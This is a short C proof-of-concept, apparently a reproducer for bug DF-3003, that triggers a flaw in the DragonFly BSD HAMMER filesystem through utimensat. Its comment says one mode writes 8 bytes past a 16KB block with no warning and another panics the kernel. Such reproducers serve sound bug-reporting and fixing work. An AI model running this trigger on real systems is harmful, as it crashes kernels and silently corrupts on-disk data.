/*
 * DF-3003 trigger v2 (utimensat based; utimes(tv_sec=-1) is EINVAL on DFly).
 * a: atime chosen, mtime UTIME_OMIT -> only HAMMER_INODE_ATIME dirty
 *    -> hammer_update_itimes() ATIME branch: hammer_modify_buffer_noundo()
 *       + in-place 8-byte store at cursor->data + 120 == past the record's
 *       16KB block (silent: no KKASSERT, no UNDO).
 * b: mtime chosen, atime UTIME_OMIT -> only HAMMER_INODE_MTIME dirty
 *    -> MTIME branch: hammer_modify_buffer(data_buffer, &data->inode.mtime, 16)
 *       with rel_offset = xoff+112 = 16384 -> KKASSERT(rel_offset & ~0x3FFF)==0
 *       fails on INVARIANTS kernels -> panic with the OOB arithmetic printed.
 */
#define _ATFILE_SOURCE
#include <sys/stat.h>
#include <stdio.h>
#include <string.h>
#include <fcntl.h>
#include <errno.h>

#define ATIME_VAL 1740000000LL	/* seconds -> stored as sec*1e6 us */
#define MTIME_VAL 1740000001LL

int main(int argc, char **argv)
{
	if (argc < 3) {
		fprintf(stderr, "usage: %s a|b path\n", argv[0]);
		return 2;
	}
	struct timespec ts[2];
	if (argv[1][0] == 'a') {
		ts[0].tv_sec = ATIME_VAL; ts[0].tv_nsec = 0;
		ts[1].tv_sec = 0;         ts[1].tv_nsec = UTIME_OMIT;
	} else {
		ts[0].tv_sec = 0;         ts[0].tv_nsec = UTIME_OMIT;
		ts[1].tv_sec = MTIME_VAL; ts[1].tv_nsec = 111111;
	}
	if (utimensat(AT_FDCWD, argv[2], ts, 0) < 0) {
		perror("utimensat");
		return 1;
	}
	printf("stage %c: utimensat ok\n", argv[1][0]);
	return 0;
}
